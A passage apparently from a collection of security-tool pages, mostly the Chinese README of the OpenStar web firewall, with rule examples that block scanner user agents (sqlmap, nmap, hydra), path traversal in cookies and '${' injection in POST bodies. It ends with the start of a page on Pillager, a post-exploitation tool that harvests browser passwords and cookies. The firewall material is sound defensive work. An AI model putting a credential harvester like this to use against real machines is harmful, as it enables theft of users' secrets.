3：rewrite_Mod][13]\n\n[STEP 4：host_Mod][14]\n\n[STEP 5：app_Mod][15]\n\n[STEP 6：referer_Mod][16]\n\n[STEP 7：uri_Mod][17]\n\n[STEP 8：header_Mod][18]\n\n[STEP 9：useragent_Mod][19]\n\n[STEP 10：cookie_Mod][20]\n\n[STEP 11：args_Mod][21]\n\n[STEP 12：post_Mod][22]\n\n[STEP 13：network_Mod][23]\n\n[STEP 14：replace_Mod][24]\n\n\n一些同学问的比较多的问题：\n\n0：规则组问题\n支持IFTTT模式，如条件是（referer中包含baidu 或者 cookie中不包含abc 且useragent正则匹配spider）等等这样复杂的表达式，执行动作也是有多个可以使用(deny allow log refile rehtml relua*)可以定制各种复杂的场景\n\n\n1：关于多站点的事\n\n使用ngx本身的增加配置文件就不说了，使用动态upstream可以参考我另外的项目https://github.com/starjun/dynamic_upstream-by-balancer\n一些接口没有加上去，看看代码自己非常容易搞定了。反向代理的host和后端的IP组都在DICT中（注意是IP组，而不仅仅是类似一些balancer写动态upstream的是一个IP），且支持多种负载均衡方式，相信可以满足大多数需求。https的后面有时间我在完善下。\n\n2：集群相关(提供了Master/Slave配置)\n\n目前openstar是支持集群的，规则同步和下发等都是提供了api，都是被动方式，规则为什么没有放到redis中，请自己测试一下，每次规则过滤都从redis取后在序列化，和从dict取在序列化，自己动手测试看性能，顺便说下，规则在集群下当然存在redis中，都是通过api进行操作更新到dict中，而不是每次都从redis中取，且最近增加了定时从redis拉取配置功能（测试中...）\n\n3：如有一些技术类问题，请尽量完整一些，包括ngx配置文件，和比较完整的代码，不然真心不好作答，有时间我会尽量回复（不一定是对的），没时间回复的请谅解。\n\nadmin@17173.com邮箱已经没有在用了，请不要给这个发邮箱啦。\n\n## TODO ##\n\n  无\n\n  商业版说明：\n\n  **支持域名管理，支持geoip（按国家，城市进行拦截等），支持SQL语义分析(功能完善中)，更强大的api接口，默认规则更强大等等**\n\n----------\n\nCC防护、防抓取、刷单等防护算法：\n\nCC攻击点：\n\na：用户可直接访问的url(搜索请求[数据库查询]，高计算[cpu计算]，随机url[耗连接]等)\n\nb：嵌入类型的url(嵌入的验证码url[CPU计算]、ajax判断用户是否存在的url[数据库查询]等)\n\nc：非浏览器类型的接口(一些公共API、WEBservice等无SDK的接口)\n\nd：特定语言、服务器的攻击(php dos、慢速攻击等)\n\n我提供的防护算法是用于防护a、b类型的攻击，a类型防护启用时，可以先生成一个添加标记的跳转页面，b类型防护启用时，动态对其渲染页面进行标记的添加，c类型有sdk，自己写代码支持自己设定的防护算法的不是问题。\n\njs静态、动态验证：\n\n跳转页面/渲染页面对下一次请求的url进行标记增加（openstar已经实现的增加url尾巴），增加一个get的args参数，参数名称和值都是由服务器产生或者前端页面js产生，如对下一次请求的url增加`cc=1ldldj`这个尾巴，服务端判断合法性有静态的正则判断值的合法性，有动态的判断值是否由服务器生成的,合法性检查更加严格。\n\njs增强：（获取鼠标轨迹、鼠标点击事件、随机延迟、基于特定浏览器对js的方言）\n\n普通的js一些攻击软件或者爬虫工具是可以分析执行的，故可以进行js增加，如判断鼠标轨迹、鼠标点击事件这些事件判断失败就不会进行下一步请求；如基于浏览器的js方言，一些浏览器会有自己的方言，那些爬虫工具和攻击工具是不可能解析js方言的，就不会进行下一步请求；还有使用js随机延迟函数，用于下一次请求的时间分流，这样请求频率就会被分开，这样就缓解了请求频率，以及结合鼠标轨迹和鼠标事件判断，可以很好的识别工具和人。\n\n浏览器指纹：（对浏览器会生成一个唯一指纹，从而判断链式请求指纹的一致性）\n广告厂商来做这件事就事半功倍了，毕竟浏览器指纹在整个互联网的数据还是很有参考价值的，毕竟不是要指纹对应的广告标签等这些商业价值数据，仅是需要一个指纹的信誉库（同IP信誉库类似，当然也有时效性），因为CC攻击和一些爬虫、刷单工具在互联网上的指纹还是非常清晰的。\n情况可以公司可以建立自己的体系，对CC攻击、页面抓取、刷单是有相当大的帮助的，以后各大公司可以共享这些浏览器指纹数据，组成一个联盟也行，从而判断该指纹是否是真实用户等一些可用数据。\n\nhttp://123.57.220.116/fgjs2.html 看看自己的浏览器指纹吧(如果访问不了，哈，我买的ECS过期了！)\n\n参考：https://github.com/Valve/fingerprintjs2\n\n\n控件/浏览器防护:\n\n使用js进行下一次请求的跳转，以及增强的鼠标轨迹、鼠标事件、浏览器js方言等这些判断还是有一定的缺陷，故可以直接使用控件方式、或者和浏览器合作（浏览器支持这种防护标记）\n\n\n```\nPS：简单举个例子\nhttp://www.cc.com?cc=@{\"api\":\"http://1.1.1.1/cc/api\",\"key\":\"iodjdjkdldskl\"}@\nhttp://www.cc.com?cc=@{\"api\":\"tcp://1.1.1.1:908\",\"key\":\"iodjdjkdldskl\"}@\nhttp://www.cc.com?cc=@{\"api\":\"local\",\"key\":\"1:2345:44\"}@\n跳转页面或者渲染页面，控件/浏览器是可以识别@中间的内容的，向这个api使用key取到一个值，下一次请求带上这个值。\n\n```\n\ni：set 一个cookie,其合法性是由控件和web服务器双向约定或加密产生，从而判断下一次请求是否合法\n\nii：增加args参数尾巴，其value值合法性由控件和web服务器双向约定或加密产生，从而判断下一次请求是否合法\n\niii：增加POST参数，其value值合法性由控件和web服务器双向约定或加密产生，等等对下一次请求进行验证增加\n\n## 重点 ##\n\n这些防护算法我正在申请相关专利，个人用户以后永久免费的，仅对企业收费，请抄袭党，无耻公司放过小弟一码。\n\n这些防护算法我正在申请相关专利，个人用户以后永久免费的，仅对企业收费，请抄袭党，无耻公司放过小弟一码。\n\n这些防护算法我正在申请相关专利，个人用户以后永久免费的，仅对企业收费，请抄袭党，无耻公司放过小弟一码。\n\n\n# 概览\n\n\n----------\n\n\n**OpenStar**是一个基于[OpenResty][2]的，高性能WAF，还相应增加了其他灵活、友好、实用的功能，是增强的WAF。\n**app_Mod 支持规则组 连接符支持 or , 参考doc/demo.md文档**\n# WAF防护\n\n\n----------\n\n\n在**OpenStar**中的WAF防护模块，采用传统的字符串的匹配如正则过滤、包含等（*有人会问现在不是流行自主学习么；正则、包含等会有盲点、会被绕过；WAF的误报和漏报问题等等......*）。**规则不是万能的，但是没有规则是万万不能的** 这里我简单说明一下，自主分析学习引擎是我们的日志分析引擎做的（预留了api可实时增加拦截），这里是高性能、高并发的点，就用简单快速的方法解决，且根据业务实际调整好防护策略，可以解决绝大多数WEB安全1.0和WEB安全2.0类型的漏洞（90%+的问题）。\nWAF 防护从header,args,post,访问频率等，分层进行按顺序防护，详细在后面的功能会详细说明\n\n - **WEB安全1.0**\n   在1.0时代下，攻击是通过服务器漏洞（IIS6溢出等）、WEB应用漏洞（SQL注入、文件上传、命令执行、文件包含等）属于服务器类的攻击，该类型漏洞虽然经历了这么多年，很遗憾，此类漏洞还是存在，并且重复在犯相同的错误。\n\n - **WEB安全2.0**\n   随着社交网络的兴起，原来不被重视的XSS、CSRF等漏洞逐渐进入人们的视野，那么在2.0时代，漏洞利用的思想将更重要，发挥你的想象，可以有太多可能。\n\n - **WEB安全3.0**\n   同开发设计模式类似（界面、业务逻辑、数据），3.0将关注应用本身的业务逻辑和数据安全，如密码修改绕过、二级密码绕过、支付类漏洞、刷钱等类型的漏洞，故注重的是产品本身的业务安全、数据安全、风控安全等。\n\n   > `安全不仅仅是在技术层面、还应该在行政管理层面、物理层面去做好安全的防护，才能提供最大限度的保护。`\n   > 安全行业多年的从业经验：人，才是最大的威胁；无论是外部、内部、无心、有意过失。（没有丑女人、只有懒女人）我想可以套用在此处，纯属个人见解。\n\n# CC/采集防护\n什么是**CC攻击**，简单的说一下，就是用较少的代价恶意请求web（应用）中的重资源消耗点（CPU/IO/数据库等等）从而达到拒绝服务的目的；**数据采集**，就是内容抓取了，简单这么理解吧\n> `非官方学术类的解释，先将就理解下`\n**关于本文对CC攻击的分析和相关的防护算法，都是我在实战中分析总结，并形成自己的方法论，不足之处、欢迎指正。**\n\n## 攻击类型\n - 行为（GET、POST等）\n  目前主要还是这两中method攻击为主，其他的少之又少。\n - 被攻击的点\n\n    1：用户可直接访问的URL（搜索、重CPU计算、IO、数据库操作等）\n\n    2：嵌入的URL（验证码、ajax接口等）\n\n    3：面向非浏览器的接口（一些API、WEBservice等）\n\n    4：基于特定web服务、语言等的特定攻击（慢速攻击、PHP-dos等）\n\n> `面对CC攻击我们需要根据实际情况采用不同的防护算法，比如攻击的点是一个ajax点，你使用js跳转/验证码肯定就有问题`\n\n## 防护方法\n - 网络层\n 通过访问ip的频率、统计等使用阀值的方式进行频率和次数的限制，黑名单方式\n\n- 网络层+应用层\n 在后来的互联网网络下，有了的CDN加入，现在增加的网络层的防护需要扩展，那么统计的IP将是在HTTP头中的IP，仍然使用频率、次数、黑名单的方式操作。\n > `但是很多厂家的硬件流量清洗等设备，有的获取用户真实IP从HTTP头中取的是固定字段（X-FOR-F），不能自定义，更甚至有的厂家就没有该功能，这里就不说具体的这些厂家名字了`PS: 在传统的4层防护上，是没有问题的\n\n-  应用层\nTAG验证、SET COOKIE、URL跳转、JS跳转、验证码、页面嵌套、强制静态缓存等\n防护是需要根据攻击点进行分别防护的，如攻击的是嵌入的url，我们就不能使用JS跳转、302验证码等这样的方法；**在多次的CC防护实战中，如使用url跳转、set cookie，在新型的CC攻击下，这些防护都已经失效了**。后面我会分享一下我的防护算法，并且在**OpenStar**中已经可以根据情况实现我所说的防护算法。\n浏览器是可以执行JS和flash的，这里我分享一些基于JS的防护算法，flash需要自己去写（比js复杂一些），可以实现flash应用层的安全防护和防页面抓取（开动你的大脑吧）\n\n1：客户端防护\n使用JS进行前端的防护（浏览器识别、鼠标轨迹判断、url有规则添加尾巴（args参数）、随机延迟、鼠标键盘事件获取等）其实这里非常复杂，如浏览器的识别 ie 支持 `!-[1,]` 这个特殊JS，一些JS方言，一些浏览器有自定义标签等等；\n\n2：服务端防护\nurl添加的尾巴（args参数）是服务器动态生成的token，而不是使用静态的正则去匹配其合法性。\n\n3：特定攻击\n该类特定攻击，可以通过特征快速匹配出来（慢速攻击、PHP5.3的http头攻击）\n\n**简单场景**\n\n1：用户可直接访问的url（这种是最好防的）\n\n第一阶段：\n\n - 网络层：访问频率限制，超出阀值仅黑名单一段时间\n\n - 应用层：js跳转、验证码、flash策略（拖动识别等）\n\n2：嵌入的url（ajax校验点、图片验证码）\n\n第一阶段：\n\n - 网络层：访问频率限制，超出阀值仅黑名单一段时间\n\n - 应用层：载入被攻击的url页面，重写页面，使用js方操作链接被攻击的url。js随机在url尾巴增加有一定规则的校验串，服务端对串进行静态正则校验。\n\n第二阶段：\n\n - 网络层+应用层：用户ip在http头中，需要从http头取ip，在进行频率限制\n（其实做好了，这一层的防护，基本不用进入第三阶段的应用层防护了）\n\n - 应用层：校验串使用服务端生成的token，进行严格服务器token验证检查\n\n第三阶段：\n\n - 应用层：js增加浏览器识别（不同agent匹配不同JS方言代码）、JS随机延迟、鼠标轨迹验证、键盘鼠标事件验证等js增加验证后，在进行校验串生成。\n\n说明：多次实战CC处理经验，很少到第三阶段，当然储备好这些JS脚本非常重要，纯JS肯定也是有限的，所有我就提出了使用控件，甚至是和浏览器厂商合作等更精准的防护方法。这样对CC攻击、页面抓取、刷单等有非常好的防护效果。\n\n> 应用层的防护是在网络层+扩展的网络层防护效果不佳时使用，一般情况基本用的不多，因为在OpenStar的防护下，极少数情况下，需要第三阶段防护。在防页面抓取时，发挥你的想象（js是个好帮手，善用）使用OpenStar就可以帮你快速实现；当然使用flash防抓取效果更好（不够灵活）。\n\n# 目录\n\n后续更新！~\n\n# 下载\n\nwget\n\ngit clone\n\n**已经打包的一些脚本，请参考bash目录**\n\n# 安装\n - 安装OpenResty\n 这里不做过多重复描述，直接看链接[OpenResty][2]\n - 配置nginx.conf\n 在http节点，引用waf.conf。注：原ngx相关配置基本不用修改，该优化优化、该做CPU亲缘绑定继续、该动静分离还继续、该IO、TIME等优化继续不要停。\n - 配置waf.conf\n 修改lua\\_package\\_path，使用正确的路径即可；修改那些lua文件的路径，多检查几遍。\n - 设置目录权限\n OpenStar目录建议放到OR下，方便操作，该目录ngx运行用户有读写执行权限即可。因为要写日志，*暂时没有用ngx.log，后续可能会改动*。\n - lua文件修改\n 在init.lua中，修改conf_json参数，base.json文件绝对路径根据自己的情况写正确。\n - api使用\n2016年6月7日 23:31:09 更新啦，引用waf.conf，后就可以直接使用api接口了，通过监听5460端口来给管理用啦，界面也在筹划中，期待有人可以加入，帮我一起整界面。\n\n**已经打包的一些脚本，请参考bash目录，运行前请阅读一下，感谢好友余总帮助写的脚本**\n\n# 使用\n\n## 配置规则\n\n一般情况下匹配某一规则由3个参数组成，第二个参数标识第一个参数类型,第三个参数表示是否取反，默认为`nil` 即 `false` 表示不取反\n\nhostname：`[\"*\",\"\"]` = `[\"*\",\"\",false]`\n\n==>表示匹配所有域名（使用字符串匹配，非正则，非常快）\n\nhostname：`[\"*\\\\.game\\\\.com\",\"jio\"]`\n\n==>表示使用正则匹配host（**ngx.re.find($host,参数1，参数2)**）\n\nhostname：`[[\"127.0.0.1\",\"127.0.0.1:8080\"],\"list\"]`\n\n==>表示匹配参数1 列表 中所有host\n\nhostname：`[{\"127.0.0.1\":true,\"127.0.0.1:5460\":true},\"dict\"]`\n\n==>表示匹配 字典 中host为true的host\n\nuri：`[\"/admin\",\"in\"]`\n\n==>表示匹配uri中包含/admin的所有uri都会被匹配（**string.find($uri,参数1,1,true)**）\n\nip：`[[\"127.0.0.1/32\",\"\"113.45.199.0/24\"\"],\"cidr\"]`\n\n==>表示匹配的ip在这两组ip段/ip中\n\nargs：`[\"*\",\"\",[\"args_name\",\"all\"],false]`\nargs：`[\"*\",\"\",[\"args_name\",\"end\"]]` = `[\"*\",\"\",[\"args_name\",\"end\"],false]`\nargs：`[\"*\",\"\",[\"args_name\",1]]`\n\n说明：第3个参数表示取args参数table的key名称，第3个参数[2]表示取args[args_name]为table时，匹配任意(all)，匹配最后一个(end),匹配第几个(数字)，默认取第一个\n\n==>表示匹配的GET的args参数名为args_name,使用第4个参数模式进行匹配，匹配规则就是第一个和二个参数。其中第1、2参数支持前面描述的规则方式。\n\n**table类型的匹配规则比较麻烦，暂时想着是这样处理，有好的想法可以告诉我**\n\n## 执行流程\n\n![enter description here][5]\n\n - init阶段\n\n a：首先加载本地的base.json配置文件，将相关配置读取到config\\_dict,host\\_dict,ip\\_dict中\n\n - access阶段（自上到下的执行流程，规则列表也是自上到下按循序执行的）\n\n 0：realIpFrom_Mod ==> 获取用户真实IP（从HTTP头获取，如设置）\n\n 1：ip_Mod ==> 请求ip的黑/白名单、log记录\n\n 2：host\\_method\\_Mod ==> host和method过滤（白名单）\n\n 3：rewrite_Mod ==> 跳转模块，set-cookie操作\n\n 4：host_Mod ==> 对应host执行的规则过滤（uri,referer,useragent等）\n\n    这里是产品中提供给独立用户使用的过滤规则。目前支持自定义规则组（任意参数，任意组合）\n\n 5：app_Mod ==> 用户自定义应用层过滤\n\n 6：referer_Mod ==> referer过滤（黑/白名单、log记录）\n\n 7：uri_Mod ==> uri过滤（黑/白名单、log记录）\n\n 8：header_Mod ==> header过滤（黑名单）\n\n 9：useragent_Mod ==> useragent过滤（黑/白名单、log记录）\n\n 10：cookie_Mod ==> cookie过滤（黑/白名单、log记录）\n\n 11：args\\_Mod ==> args参数过滤[实际是query_string]（黑/白名单、log记录）\n\n 12：post_Mod ==> post参数过滤[实际是整个post内容]（黑/白名单、log记录）\n\n 13：network_Mod ==> 应用层网络频率限制（频率黑名单）\n\n - body阶段\n\n 14：replace\\_Mod ==> 内容替换规则（动态进行内容替换，性能消耗较高慎用，可以的话用app\\_Mod中rehtml、refile这2个自定义action）\n\n## <span id = \"step0\">STEP 0 : realIpFrom_Mod </span>\n\n - 说明：\n`{\"101.200.122.200:5460\": {\"ips\": [\"*\",\"\"],\"realipset\": \"x-for-f\"}}`\n\n 通过上面的例子，表示域名id.game.com,从ips来的直连ip，用户真实ip在x-for-f中，ips是支持二阶匹配，可以参考例子进行设置，ips为\\*时，表示不区分直连ip了。\n\n## STEP 1：ip_Mod（黑/白名单、log记录）\n\n - 说明：\n `{\"ip\":\"111.206.199.61\",\"action\":\"allow\"}`\n`{\"ip\":\"www.game.com-111.206.199.1\",\"action\":\"deny\"}`\n\n 上面的例子，表示ip为111.206.199.61（从http头获取，如设置）白名单\n action可以取值[allow、deny]，deny表示黑名单；第二个就表示对应host的ip黑/白名单，其他host不受影响。\n\n [返回](#top)\n\n## <span id = \"step2\">STEP 2：host\\_method\\_Mod（白名单）</span>\n\n - 说明：\n `{\"state\":\"on\",\"method\":[[\"GET\",\"POST\"],\"list\"],\"hostname\":[[\"id.game.com\",\"127.0.0.1\"],\"list\"]}`\n\n  上面的例子表示，规则开启，host为id\\.game\\.com、127.0.0.1允许的method是GET和POST\n  state：表示规则是否开启\n  method：表示允许的method，参数2标识参数1是字符串、列表(list)、正则、字典(dict)\n  hostname：表示匹配的host，规则同上\n\n  > **`\"method\": [[\"GET\",\"POST\"],\"list\"]`==> 表示匹配的method是GET和POST**\n\n  > **`\"method\": [\"^(get|post)$\",\"jio\"]` ==> 表示匹配method是正则匹配**\n\n  > **`\"hostname\": [\"*\",\"\"]` ==>表示匹配任意host（字符串匹配，非正则，非常快）**\n\n  > **后面的很多规则都是使用该方式匹配的**\n\n[返回](#top)\n\n\n## STEP 3: rewrite_Mod（跳转模块）\n- 说明：\n```\n    {\n        \"state\": \"on\",\n        \"action\": [\"set-cookie\"],\n    \"set_cookie\":[\"asjldisdafpopliu8909jk34jk\",\"token_name\"],\n        \"hostname\": [\"101.200.122.200\",\"\"],\n        \"uri\": [\"^/rewrite$\",\"jio\"]\n    }\n```\n上面的例子表示规则启用，host为101.200.122.200,且url匹配成功的进行302/307跳转，同时设置一个无状态cookie，名称是token。action中第二个参数是用户ip+和改参数进行md5计算的。请自行使用一个无意义字符串。防止攻击者猜测出生成算法。\n\n [返回](#top)\n\n## STEP 4：host_Mod\n - 说明：\n 该模块是匹配对应host进行规则匹配，在conf_json/host_json/目录下，本地的基于host的匹配规则\n 支持host.state状态支持[on log off],log即表示原匹配被拦截将失效，off表示不做任何规则的过滤\n\n## <span id = \"step5\">STEP 5：app_Mod（自定义action）</span>\n - 说明：\n ```\n{\n    \"state\":\"on\",\n    \"action\":[\"deny\"],\n    \"hostname\":[\"127.0.0.1\",\"\"],\n    \"uri\":[\"^/([\\w]{4}\\.html|deny1\\.do|你好\\.html)$\",\"jio\"]\n}\n ```\n\n  上面的例子表示规则启用，host为127.0.0.1，且url符合正则匹配的，拒绝访问\n\n  state：规则是否启用\n  action：执行动作\n\n  1：deny ==> 拒绝访问\n\n  2：allow ==> 允许访问\n\n  3：log ==> 仅记录日志\n\n  4：rehtml ==> 表示返回自定义字符串\n\n  5：refile ==> 表示返回自定义文件（文件内容返回）\n\n  6：relua ==> 表示返回lua执行脚本（使用dofile操作）\n\n  7：relua_str ==> 表示返回lua代码执行\n\n  hostname：匹配的host\n\n  uri：匹配的uri\n\n  > **hostname 和 uri 使用上面描述过的匹配规则，参数2标记、参数1内容**\n\n  > **详细参见项目中的demo规则，多实验、多测试就知道效果了**\n\n  > **各种高级功能基本就靠这个模块来实现了，需要你发挥想象**\n\n [返回](#top)\n\n## STEP 6：referer_Mod（白名单）\n\n - 说明：\n `{\"state\":\"on\",\"uri\":[\"\\\\.(gif|jpg|png|jpeg|bmp|ico)$\",\"jio\"],\"hostname\":[\"127.0.0.1\",\"\"],\"referer\":[\"*\",\"\"],\"action\":\"allow\"}`\n\n  上面的例子表示，host为127.0.0.1，uri配置的正则成功，referer正则匹配成功就放行**【这里把一些图片等静态资源可以放到这里，因为使用OpenStar，不需要将access_by_lua_file 专门放到nginx的不同的location动态节点去，这样后续的匹配规则就不对这些静态资源进行匹配了，减少总体的匹配次数，提高效率】**，action表示执行的动作，`allow`表示规则匹配成功后，跳出后续所有规则（一般对静态资源图片），referer匹配失败就拒绝访问（白名单），防盗链为主；规则的取反可以设置防护站外的CSRF\n\n  state：表示规则是否开启\n  uri：表示匹配的uri\n  hostname：匹配host\n  referer：匹配referer\n  action：匹配动作\n\n  > referer的匹配是白名单，注意一下即可\n  > 这些匹配都是基于上面说过的二阶匹配法\n\n [返回](#top)\n\n## STEP 7：uri_Mod（黑、白名单）\n\n - 说明：\n `{\"state\":\"on\",\"hostname\":[\"\\*\",\"\"],\"uri\":[\"\\\\.(css|js|flv|swf|zip|txt)$\",\"jio\"],\"action\":\"allow\"}`\n\n  上面的例子表示，规则启用，任意host，uri正则匹配成功后放行，不进行后续规则匹配（该场景同图片等静态资源一样进行放行，减少后续的匹配）\n  state：表示规则是否开启\n  hostname：表示匹配的host\n  uri：表示匹配uri\n  action：可取值[allow、deny、log]，表示匹配成功后的执行动作\n\n  > 一般情况下，过滤完静态资源后，剩下的都是拒绝一下uri的访问如.svn等一些敏感目录或文件\n\n [返回](#top)\n\n## STEP 8：header_Mod（黑名单）\n\n - 说明：\n `{\"state\":\"on\",\"uri\":[\"\\*\",\"\"],\"hostname\":[\"\\*\",\"\"],\"header\":[\"Acunetix_Aspect\",\"\\*\",\"\"]}`\n\n 上面的例子表示，规则启用，匹配任意host，任意uri，header中Acunetix_Aspect内容的匹配（本次匹配任意内容）这个匹配是一些扫描器过滤，该规则是wvs扫描器的特征\n state：规则是否启用\n uri：匹配uri\n hostname：匹配host\n header：匹配header头\n\n [返回](#top)\n\n## STEP 9：useragent_Mod （黑名单）\n  - 说明：\n  `{\"state\":\"off\",\"action\":\"deny\",\"useragent\":[\"HTTrack|harvest|audit|dirbuster|pangolin|nmap|sqln|-scan|hydra|Parser|libwww|BBBike|sqlmap|w3af|owasp|Nikto|fimap|havij|PycURL|zmeu|BabyKrokodil|netsparker|httperf|bench\",\"jio\"],\"hostname\":[[\"127.0.0.1:8080\",\"127.0.0.1\"],\"list\"]}`\n\n  上面的例子表示，规则关闭，匹配host为127.0.0.1 或者 127.0.0.1:8080 ，useragent正则匹配，匹配成功则拒绝访问，一般host设置为：`\"hostname\":[\"*\",\"\"]`表示所有（字符串匹配，非常快）\n  state：规则是否启用\n  hostname：匹配host\n  useragent：匹配agent\n  action：匹配动作\n\n [返回](#top)\n\n## STEP 10：cookie_Mod（黑名单）\n - 说明：\n `{\"state\":\"on\",\"cookie\":[\"\\\\.\\\\./\",\"jio\"],\"hostname\":[\"*\",\"\"],\"action\":\"deny\"}`\n\n  上面的例子表示，规则启用，匹配任意host，cookies匹配正则，匹配成功则执行拒绝访问操作\n  state：表示规则是否启用\n  cookie：表示匹配cookie\n  hostname：表示匹配host\n  action：可选参数[deny、allow] 表示执行动作\n\n  > action后续可以能增加其他action，所以预留在这，否则黑名单根本不需要action参数\n\n [返回](#top)\n\n## STEP 11：args_Mod（黑名单）\n\n - 说明：\n `{\"state\":\"on\",\"hostname\":[\"*\",\"\"],\"args_data\":[\"\\\\:\\\\$\",\"jio\"],\"action\":\"deny\"}`\n\n 上面例子表示，规则启用，匹配任意host，query_string参数组匹配正则，成功则执行拒绝访问动作\n state：表示规则是否启用\n hostname：表示匹配host\n query_string：表示匹配args参数组\n action：表示匹配成功拒绝访问\n\n [返回](#top)\n\n## STEP 12：post_Mod（黑名单）\n - 说明：\n `{\"state\":\"on\",\"hostname\":[\"*\",\"\"],\"posts_data\":[\"\\\\$\\\\{\",\"jio\"],\"action\":\"deny\"}`\n\n  上面的例子表示，规则启用，匹配任意host,post_str参数组匹配正则，成功则拒绝访问\n  state：表示是否启用规则\n  hostname：匹配host\n  post_str：匹配post参数组\n  action：匹配成功后拒绝访问\n\n [返回](#top)\n\n## STEP 13：network_Mod（频率黑名单）\n - 说明：\n `{\"state\":\"on\",\"network\":{\"maxReqs\":20,\"pTime\":10,\"blackTime\":600},\"hostname\":[\"id.game.com\",\"\"],\"uri\":[\"^/2.html$\",\"jio\"]}`\n\n  上面的例子表示，规则启用，host为id.game.com,url匹配正则，匹配成功则进行访问频率限制，在10秒内访问次数超过20次，请求的IP到IP黑名单中10分钟（60秒\\*10）\n  state：表示是否启用规则\n  hostname：表示匹配host\n  uri：表示匹配uri\n  network：maxReqs ==> 请求次数；pTime ==> 单位时间；blacktime ==> ip黑名单时长\n\n  > 一般情况下，cc攻击的点一个网站只有为数不多的地方是容易被攻击的点，所以设计时，考虑增加通过url细化匹配。\n\n [返回](#top)\n\n## STEP 14：replace_Mod（内容替换）\n - 说明：\n `{\"state\":\"on\",\"uri\":[\"^/$\",\"jio\"],\"hostname\":[\"passport.game.com\",\"\"],\"replace_list\":[[\"联合\",\"\",\"联合FUCK\"],[\"登录\",\"\",\"登录POSS\"],[\"lzcaptcha\\\\?key='\\\\s\\*\\\\+ key\",\"jio\",\"lzcaptcha?keY='+key+'&keytoken=@token@'\"]]}`\n\n  上面的例子表示，规则启用，host为passport.game.com,url是正则匹配，匹配成功则进行返回内容替换\n  1：将\"联合\"替换为\"联合FUCK\"；\n  2：将\"登录\"替换为\"登录POSS\"；\n  3：通过正则进行匹配（`ngx.re.gsub`）其中@token@表示动态替换为服务器生成的一个唯一随机字符串\n  state：表示是否启用规则\n  hostname：表示匹配的host\n  uri：表示匹配的uri\n  replace_list：表示替换列表，参数1 ==> 被替换内容；参数2 ==> 匹配模式（正则、字符串）如例子中前2个替换列表就是字符串匹配，使用\"\"即可，不能没有；参数3 ==> 被替换的内容\n\n# API相关\n参考doc目录下的api.md说明\n\n# 样例\n- 参见doc下，demo.md说明\n\n\n# 性能评测\n\n**操作系统信息**\nOpenStar测试服务器：\n\n```\n 微软虚机，内网测试\n\n uname -a :\n Linux dpicsvr01 4.2.0-30-generic #36-Ubuntu SMP Fri Feb 26 00:58:07 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux\n\n 内存：\n cat /proc/meminfo | grep MemTotal\n MemTotal:       14360276 kB// 14GB\n\n CPU型号：cat /proc/cpuinfo | grep 'model name' |uniq\n Intel(R) Xeon(R) CPU E5-2660 0 @ 2.20GHz\n\n CPU核数：cat /proc/cpuinfo | grep \"cpu cores\" | uniq\n 4\n\n CPU个数：cat /proc/cpuinfo | grep \"physical id\" | uniq | wc -l\n 1\n ab：\n ab -c 1000 -n 100000 \"http://10.0.0.4/test/a?a=b&c=d\"\n```\n测试结果：\n![enter description here][6]\n 通过图片可以看到，关闭所有规则，做了2组测试，取最高的`8542`；\n\n 启用规则（排除app，network，replace），测试结果`8388`，性能下降`1.81%`；\n\n 启用规则（排除replace，app中未启用relua这个高消耗点），测试结果`7959`，性能下降`6.83%`；\n\n 启用规则（排除useragent，ab工具默认被拦截了，第二个测试就不完全了。）测试结果`7116`，性能下降`16%`；\n\n 总的来说，启用规则后，性能损失可以接受，根据自身的业务进行调整，还可以有所优化。\n\n  [1]: https://github.com/agentzh\n  [2]: http://openresty.org/cn/\n  [3]: https://github.com/starjun/openstar/wiki/%E5%AE%89%E8%A3%85%E7%AF%87\n  [4]: https://github.com/starjun/openstar/wiki/base.json\n  [5]: https://github.com/starjun/openstar/raw/master/doc/Openstar.jpg \"OpenStar.jpg\"\n  [6]: https://github.com/starjun/openstar/raw/master/doc/test.png \"test.png\"\n  [7]: https://moonbingbing.gitbooks.io/openresty-best-practices/content/index.html\n  [8]: http://www.modsecurity.org/\n  [9]: https://github.com/loveshell/ngx_lua_waf\n  [10]: https://github.com/starjun/openstar/wiki/0-realIpFrom_Mod\n  [11]: https://github.com/starjun/openstar/wiki/1-ip_Mod\n  [12]: https://github.com/starjun/openstar/wiki/2-host_method_Mod\n  [13]: https://github.com/starjun/openstar/wiki/3-rewrite_Mod\n  [14]: https://github.com/starjun/openstar/wiki/4-host_Mod\n  [15]: https://github.com/starjun/openstar/wiki/5-app_Mod\n  [16]: https://github.com/starjun/openstar/wiki/6-referer_Mod\n  [17]: https://github.com/starjun/openstar/wiki/7-uri_Mod\n  [18]: https://github.com/starjun/openstar/wiki/8-header_Mod\n  [19]: https://github.com/starjun/openstar/wiki/9-useragent_Mod\n  [20]: https://github.com/starjun/openstar/wiki/10-cookie_Mod\n  [21]: https://github.com/starjun/openstar/wiki/11-args_Mod\n  [22]: https://github.com/starjun/openstar/wiki/12-post_Mod\n  [23]: https://github.com/starjun/openstar/wiki/13-network_Mod\n  [24]: https://github.com/starjun/openstar/wiki/14-replace_Mod\n  [27]: https://github.com/starjun/openstar/raw/master/doc/xq.jpg \"xq.jpg\"\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/Pillager.md",
    "content": "## Pillager <https://github.com/qwqdanchun/Pillager>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-C#-blue)\n![Author](https://img.shields.io/badge/Author-qwqdanchun-orange)\n![GitHub stars](https://img.shields.io/github/stars/qwqdanchun/Pillager.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.0.1-red)\n![Time](https://img.shields.io/badge/Join-20231106-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\nPillager是一个适用于后渗透期间的信息收集工具，可以收集目标机器上敏感信息，方便下一步渗透工作的进行。\n\n## 支持\n\n#### 浏览器\n\n| 名称          | 书签 | Cookies | 密码 | 历史记录 | Local Storage | Extension Settings |\n| :------------ | :--: | :-----: | :--: | :------: | :-----------: | :----------------: |\n| IE            |  ✅  |   ❌   |  ✅  |    ✅    |      ❌      |         ❌         |\n| Edge          |  ✅  |   ✅   |  ✅  |    ✅    |      ✅      |         ✅         |\n| Chrome        |  ✅  |   ✅   |  ✅  |    ✅    |      ✅      |         ✅         |\n| Chrome Beta   |  ✅  |   ✅   |  ✅  |    ✅    |      ✅     